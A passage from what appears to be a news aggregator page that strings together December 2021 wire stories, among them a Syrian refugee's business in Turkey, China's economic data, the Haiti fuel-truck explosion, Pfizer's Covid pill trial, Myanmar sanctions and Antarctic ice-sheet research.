attracting followers and potential customers. She then enrolled in an online entrepreneurship course to learn how to develop her own business plan. The opportunity to transform the plan into a real business was given to her in the form of a grant from the Turkish INGEV Foundation that gives grants to run projects of individuals from host and refugee communities through their Entrepreneurship Support Centre, which helped her acquire the basic furniture and the initial items to open her own gift shop. Since the opening, my revenue has doubled in only one month!, says Qamar. I am so grateful and happy that my income contributes to cover the life expenses for my family. It is so important to have a job. Having a regular income also helps me pay for my studies. With the support of her shop, Qamar can go back to pursuing her dream of becoming a Law teacher. She is currently resuming her Islamic Law studies at the University Harran. By analyzing the issue of forced displacement in Islamic Law and Western legal systems in her thesis for the masters degree, she is trying to give voice to the suffering of many families like hers, who had to leave everything behind to seek refuge and safety. Turkey hosts the largest number of refugees worldwide, with over 4 million refugees and asylum- seekers. Qamar and her family are part of over 3.7 million Syrians in the country. Thanks to the assistance of our donors such as Germany and the United States, UNHCR Turkey works closely with state institutions at central and local levels, supporting partner programmes that strengthen the services provided to both the refugee and host community. Share on Facebook Share on Twitter China's economy continued its recovery momentum in November despite downward pressure, with major indicators staying within a reasonable range, official data showed Wednesday BEIJING, Dec. 15 (UrduPoint / Pakistan Point News - 15th Dec, 2021 ) :China's economy continued its recovery momentum in November despite downward pressure, with major indicators staying within a reasonable range, official data showed Wednesday. Retail sales of consumer goods in November went up 3.9 percent year on year in November, while value-added industrial output increased 3.8 percent year on year last month, data from the National Bureau of Statistics (NBS) showed. Fixed-asset investment went up 5.2 percent year on year in the first 11 months of the year, with investment into high-tech industries accelerating, the data showed. The country's surveyed urban unemployment rate stood at 5 percent in November, 0.2 percentage points lower than the same period last year. "The resilience of development has been continuously enhanced and the economic operation is generally stable," the NBS said in a statement. The world's second largest economy is faced with pressure from demand contraction, supply shocks and weakening expectations, according to the tone-setting Central Economic Work Conference concluded last week. "Despite multiple pressures, the fundamentals of China's long-term economic development stood unchanged," said NBS spokesperson Fu Linghui at a press conference. Wednesday's data showed that the "real sector" of the economy registered solid expansion. The value-added output for major companies in the manufacturing sector accelerated growth, while high-tech industries saw rapid growth. The production of industrial robots jumped 27.9 percent year on year, while output of new energy vehicles surged 112 percent from a year ago. "The real economy continued to strengthen and positive changes have gradually increased. However, we must also see that the international environment is becoming more complicated and severe, and the impact of COVID-19 at home is still lingering," Fu said. China will continue implementing proactive fiscal policies and prudent monetary policies for steady economic progress next year, according to the key conference. As macro policy adjustment intensifies, policies to ensure supply and price stability take effect and measures to expand domestic demand gain momentum, expectations from firms will maintain generally stable, Fu said. The European Commission proposed on Wednesday establishing an EU-wide hydrogen market under plans to halve carbon emissions by 2030 and achieve climate neutrality by 2050 BRUSSELS (UrduPoint News / Sputnik - 15th December, 2021) The European Commission proposed on Wednesday establishing an EU-wide hydrogen market under plans to halve carbon emissions by 2030 and achieve climate neutrality by 2050. "A key element of this transition is establishing a competitive hydrogen market with dedicated infrastructure. We want Europe to lead the way and be the first in the world to lay down the market rules for this important source of energy and storage," Energy Commissioner Kadri Simson said in a statement. Guidelines for the decarbonization of EU gas markets suggest extending the EU's gas directive on unbundling to include hydrogen by separating its production from transport. The market rules will also cover access to hydrogen infrastructure and tariff setting, the statement read. A new governance structure, called the European Network of Network Operators for Hydrogen, will be set up to work out technical rules, and promote hydrogen infrastructure, cross-border coordination and interconnector network construction. (@FahadShabbir) WASHINGTON (UrduPoint News / Sputnik - 15th December, 2021) The US Senate passed legislation to raise the Federal debt limit in order to prevent a default until at least 2023. The US Senate on Tuesday voted 50-49 to raise the federal government's $28.9 trillion debt limit by $2.5 trillion. The measure heads to the US House of Representatives for a final vote before heading to President Joe Biden's desk to be signed into law. The measure increases the debt ceiling enough to keep the government functioning until after the 2022 midterm elections. The US federal debt will reach $31.4 trillion under the new legislation. The White House said earlier that the Biden administration strongly supports raising the debt ceiling, pointing out that it would allow the US Department of Treasury to finance spending and maintain the government's operations without disrupting the American economy. (@FahadShabbir) DUBAI, (UrduPoint / Pakistan Point News / WAM - 15th Dec, 2021) Dubai Health Authoritys Rashid Hospital and Mediclinics City Hospital received the Comprehensive Stroke Centre certification from the American Stroke Association for providing the highest quality of care to stroke patients. This is a milestone achievement for the emirates health sector as this is the first Comprehensive Stroke Centre certification to be presented by the American Stroke Association for a centre based outside the USA. The American Stroke Association, a division of the American Heart Association, is the worlds leading force for longer, healthier lives, and it uses its stroke certification model to assist hospitals with a framework to manage and deliver quality care. Rashid Hospital receives 1,000 cases of stroke annually and provides the highest quality of timely care using the latest technologies and smart solutions. The hospital received this accreditation after expert reviewers evaluated the stroke centre for compliance with Comprehensive Stroke Centre standards and requirements. Awadh Al Ketbi, Director-General of the DHA, said that the qualitative leap in the health sector in Dubai reflects the advanced priority of the health sector in the Dubai governments vision and is in line with aspirations of providing a truly world-class health model. He congratulated Rashid Hospital and Mediclinic on this new achievement. He highlighted the fact that Dubai's position as it cradles the first two centres outside the USA to receive the accreditation reflects the development and progress reached by the government and private hospitals in the emirate and highlights the efforts to develop an integrated and world-class health system in Dubai. Puja Patel, Director of International Quality and Accreditation at American Heart Association, praised the achievements of the health sector in Dubai. "Dubai is a global city and its health institutions and medical facilities are comparable with institutions and facilities globally." Dr. Fahd Baslaib, CEO of Rashid Hospital, said that the hospital's accreditation as the first centre outside the United States represents an essential addition to the international accreditations obtained by the hospital across its various departments and specialities. Dr. Suhail Al Rukn, consultant Neurologist and Head of the Stroke Centre at Rashid Hospital, said, "Stroke management requires timely and high-quality care, and we have developed our centre to provide the highest quality of internationally recognised stroke management and care to ensure patients regain their mobility and quality of life to the absolute best extent possible." The DHA received the certificate in the presence of Al Ketbi, Dr. Younis Kazim, CEO of Dubai Healthcare Corporation, Dr. Fahd Baslaib, CEO of Rashid Hospital, Dr. Mansour Nadhari, Medical Director of Rashid Hospital and Dr. Suhail Al Rukn, Consultant Neurologist and Head of the Stroke Centre at Rashid Hospital. ABU DHABI, (UrduPoint / Pakistan Point News / WAM - 15th Dec, 2021) His Highness Sheikh Mohamed bin Zayed Al Nahyan, Crown Prince of Abu Dhabi and Deputy Supreme Commander of the UAE Armed Forces, today met with Mevlut Cavusoglu, Turkeys Minister of Foreign Affairs, at Al Shati Palace. His Highness Sheikh Mohamed welcomed the Turkish minister, who conveyed the greetings of Recep Tayyip Erdogan, President of the Republic of Turkey, and his wishes of further growth and prosperity for the UAE. Sheikh Mohamed reciprocated the greetings, wishing the President and the Turkish people lasting stability and development. The meeting discussed UAE-Turkey ties and ways to enhance them in various fields, including investment and economic cooperation. They also exchanged views on a variety of regional and global issues of mutual concern. Moreover, the meeting highlighted Turkey's participation in Expo 2020 Dubai and the event's pivotal role in aligning the visions of countries on driving sustainable development and tackling global challenges. Sheikh Mohamed and Cavusoglu discussed the importance of advancing UAE-Turkey cooperation to enhance their relations in the coming period, serve the interests of their countries and peoples and promote peace and stability in the region. The meeting was attended by H.H. Sheikh Tahnoun bin Zayed Al Nahyan, National Security Adviser, H.H. Sheikh Abdullah bin Zayed Al Nahyan, Minister of Foreign Affairs and International Cooperation, and Sheikh Mohammed bin Hamad bin Tahnoun Al Nahyan, Special Affairs Advisor at the Ministry of Presidential Affairs. London, (UrduPoint / Pakistan Point News - 15th Dec, 2021 ) :Manchester City powered four points clear at the top of the Premier League as Kevin De Bruyne inspired a 7-0 rout of Leeds just hours after clubs were given strict new measures to curb the threat of the coronavirus on Tuesday. De Bruyne delivered an imperious display including two goals on his first league start since November 6 after the Belgian star recovered from a bout of Covid-19. Phil Foden, Jack Grealish, Riyad Mahrez, John Stones and Nathan Ake were also on target as Pep Guardiola's side ran riot at the Etihad Stadium. City's seventh successive league victory put pressure on second placed Liverpool and third placed Chelsea, who face Newcastle and Everton respectively on Thursday. The champions' biggest win this season equalled Liverpool's 1982 top-flight record of 33 victories in a Calendar year. City took the lead in the eighth minute when Rodri's effort was saved by Illan Meslier and the ball rebounded to Foden, whose shot was deflected in via Stuart Dallas's miscued attempt to clear off the line. It was City's 500th Premier League goal in 207 matches under Guardiola, setting a new record that surpassed the previous fastest mark by Jurgen Klopp's Liverpool. Grealish had scored just two goals for City since his British record 100 million ($132 million) transfer from Aston Villa. In the 13th minute, the 26-year-old ended his drought as he scored for the first time since a Champions League win over Leipzig in September. Rising to power a header past Meslier from Mahrez's cross, Grealish celebrated his first Premier League goal since August. De Bruyne marked his return with his first goal since October, running onto Rodri's defence-splitting pass to drill a low shot past Meslier at the near post in the 32nd minute. Mahrez added City's fourth in the 49th minute when his strike from the edge of the area deflected in off Junior Firpo. De Bruyne made it five in the 62nd minute with a thunderous 20-yard drive into the roof of the net. Stones blasted home in the 74th minute and Ake headed City's seventh four minutes later. Whether City's determined title defence survives without a brush with Covid remains to be seen as the new Omicron strain wrecks havoc. The Premier League announced on Monday there had been 42 positive Covid cases among top-flight players and staff last week -- the most recorded in any seven-day period since testing began during the 2019-20 season. Manchester United's match at Brentford on Tuesday and Tottenham's trip to Brighton last Sunday were both postponed due to virus outbreaks. United and Tottenham had several unnamed players test positive, while Brighton, Leicester, Norwich and Aston Villa were also hit by the virus over the last week. United shut down first-team operations at their Carrington training ground to minimise the risk of infection. Now all top-flight players and staff will have to take a lateral flow test every time they enter their club's training ground as part of the protocols. Twice-weekly PCR testing will also be introduced after a meeting of the 20 clubs on Tuesday. The increased testing sits alongside the other recently introduced emergency measures, including face coverings, limiting time in the treatment room and observing social distancing. Norwich manager Dean Smith revealed his club had asked the Premier League for guidance over his bottom of the table team's Covid issues prior to Tuesday's 2-0 defeat against Aston Villa. "It's been a tough few days. We've had a few Covid-related drop outs," Smith said before kick-off at Carrow Road. Villa were also hit by Covid but they kept their focus to make it four wins from six games under new boss Steven Gerrard. Smith had hoped for revenge on Villa just 38 days after his sacking. But Jacob Ramsey ran from the halfway line to fire home in the 35th minute and Ollie Watkins' tap-in wrapped up the points in the 87th minute. (@ChaudhryMAli88) The United States and Malaysia are launching a partnership to accelerate the latter's transition to clean energy, Secretary of State Antony Blinken said on Wednesday WASHINGTON (UrduPoint News / Sputnik - 15th December, 2021) The United States and Malaysia are launching a partnership to accelerate the latter's transition to clean energy, Secretary of State Antony Blinken said on Wednesday. "Today we're announcing a new partnership between Malaysia and the United States to speed up Malaysia's transition to clean energy. It's called the Power Sector Program. And the goal is to help Malaysia attract more and higher quality clean energy investments, and to create the conditions for that investment to yield the greatest possible results," Blinken said. Washington will provide Kuala Lumpur with advice on how to attract the investment which is needed to meet clean energy goals. "We'll provide technical assistance on upgrading Malaysia's electric grid so that it can better handle and distribute power generated by renewable sources, including solar. And we're focusing the support in regions of the country where it can do the most good, like East Malaysia, where qualified investors can speed up the transition from diesel to solar and battery power while creating jobs and spurring growth," he said. Earlier on Wednesday, Blinken met with Malaysian Prime Minister Dato' Sri Ismail Sabri bin Yaakob to discuss bilateral relations. "The Secretary reaffirmed ASEAN centrality and highlighted U.S. strategic interests in the Indo-Pacific. The Secretary and the Prime Minister also discussed their desire to strengthen cooperation, including on COVID-19 recovery and pandemic preparedness," the State Department said. Blinken's visit to Malaysia follows his travel to Indonesia. Four people injured in a massive gas truck explosion in Haiti have died, bringing the death toll from the accident to 66, officials said Wednesday CapHatien, Haiti, (APP - UrduPoint / Pakistan Point News - 15th Dec, 2021 ) :Four people injured in a massive gas truck explosion in Haiti have died, bringing the death toll from the accident to 66, officials said Wednesday. Tuesday's blast in Haiti's second largest city of Cap-Haitien was the latest disaster to hit the poverty-wracked Caribbean nation, riven by gang violence and political paralysis. The truck is believed to have flipped over after the driver lost control while swerving to avoid a motorcycle taxi. Most of the deaths occurred when passers-by rushed to collect the escaped fuel, a rare commodity amid severe fuel shortages. Some 50 people were injured in the blast, according to authorities, and many of them were in critical condition. Patrick Almonor, deputy mayor of Cap-Haitien, told AFP that four of the injured have died, adding that the toll was still preliminary and could rise as officials inspect several hospitals where the victims had been taken. Almonor described a horrific scene, saying he had seen dozens of people "burned alive" and that it was "impossible to identify them." Surrounding buildings were burnt and scarred in the explosion. - Fuel shortages - "Following this accident, civilians took the chance to collect the gas by filling up makeshift receptacles -- causing a terrible explosion that led to numerous victims and major material damage," civil protection director Jerry Chandler told AFP. Prime Minister Ariel Henry visited the scene of the tragedy on Tuesday, saying his heart was "broken" after meeting some of the injured in hospital. He later tweeted that emergency funds had been released to help survivors. Haiti has never produced enough electricity to meet the needs of its population. Even in well-off parts of the capital, the state-run Haiti electric utility only provides, at most, a few hours of power a day. Those who can afford it rely on pricey generators, which are no help in the face of the fuel shortage caused by gangs blocking access to the country's oil terminals in the capital and its outskirts. In recent months, more than a dozen vehicles transporting fuel have been attacked by gangs demanding ransoms for the drivers' release. The lack of fuel is also hitting water access, in a country where many people rely on private companies to deliver water by truck to at-home systems. Chronically unstable Haiti was plunged into a new political crisis in July when President Jovenel Moise was assassinated in a still mysterious plot. Five months after the assassination, doubts remain over who ordered the attack. The Financial Times (FT), following Time magazine, on Wednesday named billionaire and founder of SpaceX and Tesla, Elon Musk, its person of the year MOSCOW (UrduPoint News / Sputnik - 15th December, 2021) The Financial Times (FT), following Time magazine, on Wednesday named billionaire and founder of SpaceX and Tesla, Elon Musk, its person of the year. The newspaper called Musk's Tesla electric cars a major achievement, saying that over a decade Musk has "single-handedly" created a market for electric vehicles, fighting bankruptcy, Wall Street and the American regulators. Musk made electric cars mainstream and was followed by the largest vehicle manufacturers, including Mercedes-Benz, Ford, Volkswagen, and others. "For a long time, the rest of the auto industry was basically calling Tesla and me fools and frauds. They were saying electric cars wouldn't work, you can't achieve the range and performance. And even if you did that, nobody would buy them," Musk said as quoted by the FT. The newspaper also highlighted Musk's hyperactivity on Twitter, experience with the creation of the cryptocurrency dogecoin, and the revival of space exploration in the United States, calling Musk "the most genuinely innovative entrepreneur of his generation." On Monday, Time magazine also named Musk its 2021 person of the year, saying that Musk "aspires to save our planet and get us a new one to inhabit." The magazine opined that few have had such an impact and influence as Musk. Germany has expelled two Russian diplomats over the assassination of a former Chechen commander in a Berlin park which the authorities believe was ordered by Russia, Foreign Minister Annalena Baerbock said on Wednesday Berlin, (APP - UrduPoint / Pakistan Point News - 15th Dec, 2021 ) :Germany has expelled two Russian diplomats over the assassination of a former Chechen commander in a Berlin park which the authorities believe was ordered by Russia, Foreign Minister Annalena Baerbock said on Wednesday. "This murder by order of the state as determined by the court today constitutes a serious violation of German law and sovereignty," Baerbock said after a Russian man was sentenced to life in jail for the crime. Most Democrats want President Joe Biden to seek re-election, with Vice President Kamala Harris the top choice if Biden chooses not to run, a Morning Consult poll revealed on Wednesday WASHINGTON (UrduPoint News / Sputnik - 15th December, 2021) Most Democrats want President Joe Biden to seek re-election, with Vice President Kamala Harris the top choice if Biden chooses not to run, a Morning Consult poll revealed on Wednesday. "In the hypothetical test, 31 percent of potential Democratic Primary voters said they would support Harris, driven by 52 percent of Black potential primary voters and 43 percent of its youngest potential primary voters (those ages 18-34)," a press release explaining the poll said. Nearly two-thirds of Democrats (63 percent) say Biden should "definitely" or "probably" seek re-election in 2024. But among all voters, 58 percent said Biden should leave office as a single term president, including 67 percent of independent voters and 87 percent of Republicans, the release said. Aside from Harris, Transportation Secretary Pete Buttigieg is supported by 11 percent of potential Democratic primary voters, while another 8 percent each said they would support Senator Elizabeth Warren or Congresswoman Alexandria Ocasio-Cortez, the release added. Former President Donald Trump has also fueled chatter of another presidential bid, and at this point, has more backing for a 2024 run than Biden (39 vs 34 percent). However, a majority of voters would oppose campaigns by Trump (56 percent) and Biden (58 percent), according to the release. Pfizer said Tuesday that clinical trials confirmed its Covid pill, a new type of treatment that should withstand the mutations seen with Omicron, drastically reduced hospitalizations and deaths among at-risk people by almost 90 percent Washington, (APP - UrduPoint / Pakistan Point News - 14th Dec, 2021 ) :Pfizer said Tuesday that clinical trials confirmed its Covid pill, a new type of treatment that should withstand the mutations seen with Omicron, drastically reduced hospitalizations and deaths among at-risk people by almost 90 percent. The announcement came as a real-world study from South Africa showed two doses of the Pfizer-BioNTech vaccine was 70 percent effective in stopping severe illness from the new variant, a result called encouraging by researchers, though it represents a drop compared to earlier strains. Data for the new pill, which hasn't yet been authorized anywhere in the world, came from more than 2,200 volunteers, and backed up preliminary findings announced last month. The American drugmaker said its treatment, called Paxlovid, also held up against the Omicron variant in lab-testing. Pfizer CEO Albert Bourla told CBS News the drug was a "game changer," and he expected the US food and Drug Administration (FDA) to give its green light as soon as this month. The trial showed that the pill reduced the need for hospitalization in high-risk adults with Covid-19 by 89 percent if the treatment was given within three days of symptom onset and by 88 percent if given within five days. Overall, there were 12 deaths in the placebo group, and none in the drug group. Side-effects were found at comparable rates between the treatment and placebo groups (23 percent and 24 percent, respectively), and were mostly mild. Paxlovid also reduced the risk of severe disease, as well as the amount of virus detected, in a separate study of people at normal risk -- but the results were on the edge of statistical significance and need further confirmation. - New type of drug - Paxlovid is a combination of two drugs -- nirmatrelvir, a new experimental medicine, and ritonavir, an existing antiviral used against HIV, both taken orally over five days. Nirmatrelvir is known as a "protease inhibitor" and works by blocking the action of an enzyme the coronavirus needs to replicate. Ritonavir is administered to slow down the breakdown of nirmatrelvir inside the body. Because Paxlovid does not target the fast-mutating spike proteins that stud the surface of the coronavirus, it should be more variant-proof than other treatments, such as synthetic antibody infusions, as well as antibodies evoked by most types of Covid vaccine. Another Covid pill, Merck's molnupiravir, has already been authorized in Britain. A US panel of experts narrowly voted in favor of the Merck pill two weeks ago, but FDA authorization is still awaited. Final study results showed molnupiravir reduced hospitalizations and deaths by a relatively disappointing 30 percent, and there were also safety concerns related to its mechanism of action, which differs from the Pfizer pill. Merck itself recommended against molnupiravir's use in pregnant women after animal studies showed harm to fetuses. - Real-world vaccine data - The news comes as the heavily-mutated Omicron variant continues spreading fast around the world, raising alarms about surges in severe cases and deaths. Even if early data suggesting that the variant is milder in most people is confirmed, its increased transmissibility and ability to overcome prior immunity may negate this advantage, by infecting higher numbers of people. Many high-income countries have stepped up their campaigns to get people booster shots in order to restore vaccine efficacy. The latest research out of South Africa found that two doses of the Pfizer-BioNTech vaccine still offered good protection against serious illness of 70 percent, though this was reduced from 93 percent during the country's Delta wave. The study was based on the results of 78,000 PCR tests taken in South Africa between November 15 and December 7 and was conducted by Discovery along with the South African Medical Research Council (SAMRC). It also found two doses were 33 percent effective against infection -- a result that lines up with early data from the UK Health Security Agency, which experts say underscores the case for a third dose. The South African research further confirmed reinfection risk is higher with Omicron, and a lower percentage of people infected with the new variant were hospitalized when compared to the country's first wave, after adjusting for vaccine status. Very preliminary data suggests that children have a 20 percent higher risk of hospital admission with the new variant, but the absolute numbers remain very low. "It is essential to recognize that these are incomplete and partial data," said Russell Viner, a professor of child and adolescent health at the University College London, though he also warned against complacency. (@FahadShabbir) German Chancellor Olaf Scholz warned Wednesday that Russia would pay a "high price" if it invaded Ukraine, speaking ahead of an EU summit Berlin, (APP - UrduPoint / Pakistan Point News - 15th Dec, 2021 ) :German Chancellor Olaf Scholz warned Wednesday that Russia would pay a "high price" if it invaded Ukraine, speaking ahead of an EU summit. "These days we are looking with great concern at the security situation on the Russian-Ukrainian border," Scholz said in his first speech to parliament as chancellor. "Any violation of territorial integrity will have a price, a high price," he said as Western powers accuse Russia of planning an invasion of its neighbour and warn of a massive coordinated sanctions response should Moscow attack. Tunisia's navy rescued 78 migrants on Wednesday and retrieved the body of another after their boat sank off the country's coast during a bid to reach Europe, the defence ministry said Ben Guerdane, Tunisia, (APP - UrduPoint / Pakistan Point News - 15th Dec, 2021 ) :Tunisia's navy rescued 78 migrants on Wednesday and retrieved the body of another after their boat sank off the country's coast during a bid to reach Europe, the defence ministry said. The migrants, mostly Bangladeshis and Egyptians aged from 12-45, had set off the previous night from Abu Kammash just across the border in neighbouring Libya near Zawara, it said. A decade of lawlessness in Libya has turned it into a major launchpad for migrants attempting to reach Europe by sea. The latest rescue follows a string of similar Tunisian operations to thwart sea crossings or to save migrants in unseaworthy boats. They had "intended to slip across the maritime border in the direction of Europe," but their boat ran into trouble 20 kilometres (12 miles) off the coast south of Tunisia's second city of Sfax, the ministry said. It said the migrants had been taken to the port of El-Ketef and handed to the national guard. The body of the dead migrant, an Egyptian, was handed to municipal authorities, it said. The Tunisian Red Crescent told AFP another migrant was missing. Tunisia is also a key departure point, just 140 kilometres from the Italian island of Lampedusa. According to the FTDES rights group, the Tunisian coast guard intercepted about 19,500 people attempting to cross the Mediterranean in the first nine months of this year. It said the trend had accelerated since the establishment in June of a direct line of communication between Rome and Tunis to coordinate efforts against illegal immigration and share information. (@FahadShabbir) UK Labour Party leader Keir Starmer said on Wednesday that Boris Johnson is the "worst possible prime minister at the worst possible time," following Johnson's failure to rally all of his own Conservative Party lawmakers behind the new COVID-19 measures proposed by the government LONDON (UrduPoint News / Sputnik - 15th December, 2021) UK Labour Party leader Keir Starmer said on Wednesday that Boris Johnson is the "worst possible prime minister at the worst possible time," following Johnson's failure to rally all of his own Conservative Party lawmakers behind the new COVID-19 measures proposed by the government. "The British public are looking for a prime minister with the trust and the authority to lead Britain through the crisis. Instead, we're burdened with the worst possible Prime Minister at the worst possible time," Starmer told Parliament during a heated televised exchange with Johnson. Nearly 100 of the 361 Conservative lawmakers voted on Tuesday evening against the introduction of mandatory COVID-19 passes in nightclubs and large venues, despite a personal appeal from Johnson to them just before the vote. The controversial restriction, which some Conservative legislators described as an attack on civil liberties, was eventually passed thanks largely to the support from the opposition Labour Party, a fact Starmer took good care to highlight. "The Labour party showed the leadership that the Prime Minister lacked. If it wasn't for Labour votes, his government wouldn't have been able to introduce vital public health measures," he stressed. In his defense, Johnson replied that he respected "the feelings, the anxieties" his colleagues have about restrictions on their liberty and the liberty of people, but insisted that the governments approach to tackling the spreading of Omicron variant of the novel coronavirus "balanced and proportionate." (@ChaudhryMAli88) UN officials Wednesday said they would document potential human rights violations committed during joint operations by Congolese and Ugandan forces in eastern Democratic Republic of Congo against ADF rebels Kinshasa, (APP - UrduPoint / Pakistan Point News - 15th Dec, 2021 ) :UN officials Wednesday said they would document potential human rights violations committed during joint operations by Congolese and Ugandan forces in eastern Democratic Republic of Congo against ADF rebels. Aziz Thioye, DR Congo director of the United Nations Joint Human Rights Office (UNJHRO), told AFP the body "is going to document human rights violations in the framework of joint operations led by the Congolese and Ugandan armies". "Indiscriminate bombardments could have caused collateral damage, putting at risk the life and the physical integrity of people who are with the ADF against their will," Thioye told AFP on the sidelines of a UN mission press conference. "The fact the bombardments were launched without warning could have caught out certain individuals who were in what is an agricultural zone," Thioye added. He said the UN were waiting for an investigation to provide "concrete elements" regarding fatalities. "There was a school that was temporarily occupied by the UPDF", or Uganda Peoples' Defence Forces, in the village of Kamango, said Thioye, forcing lessons to be interrupted in what the UNJHRO considered a "violation of international law". On Tuesday the Ugandan army said it had hit three bases of the ADF, which has been blamed for massacres in eastern DRC and attacks in the Ugandan capital. The Islamic State jihadist group claims it as an affiliate. On November 30, the UPDF, with the agreement of DRC authorities, bombarded ADF positions in the Virunga National Park known for its mountain gorillas prior to Ugandan land forces coming over the border to aid DRC troops. The Allied Democratic Forces (ADF) established itself in eastern DRC in 1995, becoming the deadliest of scores of outlawed forces in the troubled region. It has been blamed for the killings of thousands of civilians over the past decade. The United States is alarmed by information about a potential deployment of forces of private military company Wagner Group in Mali, State Department spokesman Ned Price said on Wednesday WASHINGTON (UrduPoint News / Sputnik - 15th December, 2021) The United States is alarmed by information about a potential deployment of forces of private military company Wagner Group in Mali, State Department spokesman Ned price said on Wednesday. "We are alarmed by a potential deployment of Russia-backed Wagner Group forces in Mali," Price said in a statement. "We understand that the reported deal -- costing $10 million per month -- diverts money that could be used to support the Malian Armed Forces and public services to pay for the deployment of Yevgeniy Prigozhin's Wagner Group forces to Mali. Price accused Wagner Group of destabilizing activities and human rights abuses, and asserted that its presence in Mali will not bring peace to the country. WASHINGTON (UrduPoint News / Sputnik - 15th December, 2021) Officials from the United States and Palestine met virtually on Tuesday to revive economic dialogue following a five-year hiatus, the State Department said, citing their joint statement. "U.S. and Palestinian officials gathered virtually December 14 to renew the U.S.-Palestinian Economic Dialogue (USPED)," the statement said. Being the first such meeting in five years, "this senior-level dialogue brought together a wide range of agencies and ministries from the U.S. government and the Palestinian Authority to discuss current and future areas of economic cooperation," it added. (@ChaudhryMAli88) The United States is considering new measures to pressure the Myanmar junta to return to a "democratic trajectory", Secretary of State Antony Blinken said Wednesday, as alarm grows over an escalating crackdown on dissent Kuala Lumpur, (APP - UrduPoint / Pakistan Point News - 15th Dec, 2021 ) :The United States is considering new measures to pressure the Myanmar junta to return to a "democratic trajectory", Secretary of State Antony Blinken said Wednesday, as alarm grows over an escalating crackdown on dissent. Myanmar has been in chaos since February when Aung San Suu Kyi's civilian government was ousted by the military. The United States has imposed some sanctions and regional bloc the Association of Southeast Asian Nations (ASEAN) has drawn up a peace roadmap, but there are serious doubts about the generals' commitment. Speaking during a visit to Malaysia -- among several ASEAN states that have strongly criticised the coup -- Blinken conceded that the "situation has not improved". "I think it is going to be very important in the weeks and months ahead to look at what additional steps and measures we can take -- individually, collectively -- to pressure the regime to put the country back on a democratic trajectory," he said. "That is something that we are looking at," he added, without saying what the measures might be. The coup triggered nationwide protests but the junta has responded with a brutal crackdown that has left more than 1,300 people dead and seen thousands arrested, according to a local monitor. Blinken also said the United States was looking "very actively" at whether the treatment of the Rohingya Muslim minority in Buddhist-majority Myanmar might "constitute genocide". The group faces widespread discrimination in Myanmar, and hundreds of thousands fled to neighbouring Bangladesh in 2017 following a military crackdown. Last week, the United Nations warned of an "alarming escalation" of human rights abuses in Myanmar as the military tried to crush dissent. They were responding to the reported killing of 11 villagers, including children. The United States said it was "outraged by credible and sickening reports" the military tied up and burned the victims alive. The junta, locked in a bloody stalemate with militias fighting to overturn the coup, denied the claims. The generals have shown little sign of changing course despite sustained diplomatic pressure. ASEAN took the unprecedented step of banning junta chief Min Aung Hlaing from its October summit after the generals refused to let the bloc's envoy meet Suu Kyi. But there are signs that Cambodia -- which takes over ASEAN's rotating chairmanship next year -- is seeking to bring Myanmar back into the fold. Its strongman premier Hun Sen plans to travel to the country for talks in January, becoming the first international leader to visit Myanmar since the coup. Last week, Suu Kyi was sentenced to two years' detention for incitement against the military and breaching coronavirus rules, drawing fresh condemnation from around the world. The junta has justified the coup by alleging electoral fraud in last year's poll, and Suu Kyi faces a raft of further charges that could see her jailed for decades if convicted. (@FahadShabbir) WASHINGTON (UrduPoint News / Sputnik - 16th December, 2021) The United States will examine all options in case Canada adopts the Digital Service Tax (DST), US Trade Representative Office spokesperson Adam Hodge said on Wednesday. "If Canada adopts a DST, USTR would examine all options, including under our trade agreements and domestic statutes," Hodge said in a statement. Insights into how the West Antarctic Ice Sheet responded to a warmer climate millions of years ago could improve predictions of its future. Here, USF College of Marine Science Associate Professor, Amelia Shevenell, chief sedimentologist, and Victoria University (NZ) Associate Professor and Antarctic Research Center Director, Rob McKay, co-chief scientist, examine sediment recovered from the Ross Sea during International Ocean Discovery Program Expedition 374 in 2018 (Credit: Mark Leckie) In a study published today in Nature, an international team of scientists, including USF College of Marine Science (USF CMS) Associate Professor Amelia Shevenell and graduate student Imogen Browne, documented the evolution of Antarcticas ice sheets about 20 million years ago. At this time, called the early Miocene, Earth experienced both warm and cold climates. Atmospheric concentrations of carbon dioxide were similar to those expected by 2100, if greenhouse gas emissions continue at the present rate. During warm Miocene climates, sea level rose by up to 60 metres the equivalent of melting all the ice presently on the Antarctic continent. Until now, the contributions of the larger East Antarctic Ice Sheet (EAIS) and the smaller West Antarctic Ice Sheet (WAIS) to past global sea levels was uncertain. The new research was conducted as part of the International Ocean Discovery Program (IODP) Expedition 374 to the Ross Sea in Antarctica. The $13 million (US) expedition emerged from a 2012 National Science Foundation (NSF) funded workshop at the USF CMS and was drilled in 2018. Expedition 374 recovered ~1.5 kilometers of mud from the ocean floor, which teams of international scientists are analyzing to reconstruct Antarcticas ice sheet evolution over the last 20 million years. The new research, led by Imperial College London graduate student, Jim Marschalek, shows that the WAIS, the smaller and more climatically sensitive of todays Antarctic ice sheets, existed and contributed significantly to global sea levels 8 million years earlier than previously known. The study also reveals that the young WAIS was highly erosive, which lowered the elevation of the land beneath the WAIS below sea level, further increasing its vulnerability to climate and ocean changes. The study provides essential data for climate models, which are used to accurately predict future global sea levels as Earth warms and Antarcticas ice sheets melt. Co-author, Amelia Shevenell, an expert on Miocene climate and Antarctic ice sheet evolution, is currently the Principal Investigator of a multi-institutional NSF grant to determine the role of ocean temperature on Antarcticas ice sheet behaviour during the Miocene. Understanding past climate conditions and the behavior of Antarcticas ice sheets is essential for improving climate models used to predict how much and how fast sea levels will rise in the future, said Shevenell. Shevenell, who lives in St. Petersburg, Florida, one of the top 10 cities in the United States most vulnerable to sea level rise, continued: What is happening in Antarctica now and in the past may not seem important in our everyday lives. However, the West Antarctic Ice Sheet is currently contributing to global sea level rise and its contributions are increasing as Earth warms. If this part of Antarctica were to melt completely, global sea levels would rise about 15 feet, which would displace millions of people worldwide, including most people in the state of Florida. The team says that future work is needed to understand the past history of the low-lying and climatically vulnerable parts of both the smaller West Antarctic Ice Sheet and the larger East Antarctic Ice Sheet. Material from Imperial College London was used in this report. Internships Awarded through Program Established in Memory of Deepwater Horizon Victims Tue, 12/14/2021 - 16:04pm | By: Margaret Ann Macloud Four undergraduate students from across the southeast region studied various marine science-focused issues this summer with the support of an internship program established in memory of those who lost their lives in the Deepwater Horizon oil spill. The Deepwater Horizon Memorial Undergraduate Internship Program was established by the Mississippi Based Restore Act Center of Excellence (MBRACE) to honor the individuals who perished in the 2010 explosion. The competitive program provides funding for undergraduate student interns to conduct research projects related to ongoing MBRACE-funded projects that address research gaps in water quality and oyster reefs and their sustainability. MBRACE is a consortium of Mississippis four research universities: The University of Southern Mississippi (USM) serves as the lead institution, and others include Jackson State University (JSU), Mississippi State University (MSU), and The University of Mississippi (UM). We are proud to offer an internship that 